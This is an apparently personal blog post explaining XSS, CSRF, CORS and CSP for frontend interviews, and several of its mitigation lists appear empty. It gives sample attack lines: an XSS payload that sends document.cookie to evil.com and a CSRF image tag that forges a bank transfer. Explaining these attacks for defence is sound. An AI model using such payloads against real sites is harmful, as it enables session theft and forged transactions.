Working Notes

Web Security: CSRF, CORS, CSP, and XSS

Tony Jiang · · 7 min read · permalink

These four acronyms come up constantly in frontend interviews, and they’re often explained in isolation — which makes them harder to remember and easier to confuse. They’re not the same kind of thing. Understanding what category each one belongs to is the first step.

CORS and CSP are defenses. XSS and CSRF are the things you’re defending against. That distinction matters.


XSS — Cross-Site Scripting

The mental model

An attacker gets their JavaScript to run on your page. Once that happens, they have the same access your code has — cookies, localStorage, the DOM, the ability to make requests as the user.

How it happens

You take user input and render it as HTML without sanitizing it first:

// Dangerous
document.innerHTML = userInput;

// Also dangerous
element.innerHTML = `<p>Welcome, ${username}</p>`;

If username is <script>fetch('https://evil.com?c='+document.cookie)</script>, you’ve just exfiltrated the user’s cookies.

There are two main types:

What frontend devs actually do about it

The interview gotcha

Interviewers sometimes conflate XSS with CSRF. They’re different attacks with different mitigations. XSS is about injecting code; CSRF is about forging requests. An XSS attack can bypass CSRF protections, which is why XSS prevention is so important.


CSRF — Cross-Site Request Forgery

The mental model

The user is logged into your bank. They visit a malicious site. That site makes a request to your bank’s API — and the browser automatically sends the user’s cookies with it. The bank can’t tell the difference between a legitimate request and a forged one.

CSRF exploits the fact that browsers attach cookies to requests regardless of where the request originated.

How it happens

<!-- On evil.com -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">

The browser loads that “image,” sends the authenticated request, and the transfer goes through.

What frontend devs actually do about it

The interview gotcha

CSRF is often misunderstood as “cross-site anything.” It’s specifically about forged requests that carry the victim’s credentials. If your API uses tokens in headers rather than cookies, CSRF doesn’t apply in the traditional sense. The interview question “how do you prevent CSRF?” has a different answer depending on your auth mechanism.


CORS — Cross-Origin Resource Sharing

The mental model

The same-origin policy is a browser rule: a page at app.com can’t make requests to api.otherdomain.com by default. CORS is the mechanism that lets servers opt in to allowing cross-origin requests.

CORS is not a security feature — it’s a relaxation of security. The same-origin policy is the security feature.

How it works

When your frontend at app.com makes a request to api.com, the browser checks the response headers:

Access-Control-Allow-Origin: https://app.com

If the origin matches, the browser allows the response through. If not, it blocks it — even if the server processed the request.

For requests that modify state (POST, PUT, DELETE) or send custom headers, the browser first sends a preflight request (OPTIONS) to ask permission:

Access-Control-Allow-Origin: https://app.com
Access-Control-Allow-Methods: POST, PUT
Access-Control-Allow-Headers: Content-Type, Authorization

What frontend devs actually do about it

The interview gotcha

“CORS is a security feature” is a common misconception. It’s a controlled relaxation. The actual security comes from the same-origin policy that CORS loosens. Also: CORS doesn’t prevent CSRF. A CORS-protected endpoint still accepts cookies from the browser on same-origin requests.


CSP — Content Security Policy

The mental model

CSP is a browser mechanism where you tell the browser exactly what it’s allowed to load and execute. It’s a second line of defense against XSS — even if an attacker injects a script tag, CSP can prevent it from executing.

How it works

You send a Content-Security-Policy header (or use a <meta> tag) with directives:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; img-src *;

This says: scripts can only come from this origin or the specified CDN. Images can come from anywhere. Everything else defaults to same-origin only.

A strict policy would block inline scripts entirely:

Content-Security-Policy: script-src 'self'

This means <script>alert('xss')</script> injected by an attacker simply won’t run.

What frontend devs actually do about it

The interview gotcha

CSP doesn’t prevent XSS — it limits what a successful XSS attack can do. The attacker might still inject a script tag, but CSP can stop it from loading external resources or executing inline. The two layers together (input sanitization + CSP) are more effective than either alone.


How they relate

Prevents Mechanism
XSS Code injection Input sanitization, framework escaping, HttpOnly cookies
CSRF Forged requests SameSite cookies, CSRF tokens
CORS Unauthorized cross-origin reads Server-set response headers
CSP Unauthorized resource loading Browser policy enforcement

The interaction that matters most: XSS can defeat CSRF protection. If an attacker can run JavaScript on your page, they can read your CSRF token and include it in a forged request. This is why XSS prevention is the foundation — the other defenses assume your page hasn’t been compromised.


What actually comes up in interviews

The questions are usually surface-level (“what is CSRF?”), but the follow-ups reveal depth:

Understanding the relationships between these mechanisms — not just what each one does in isolation — is what separates a considered answer from a memorized one.

↑ Back to top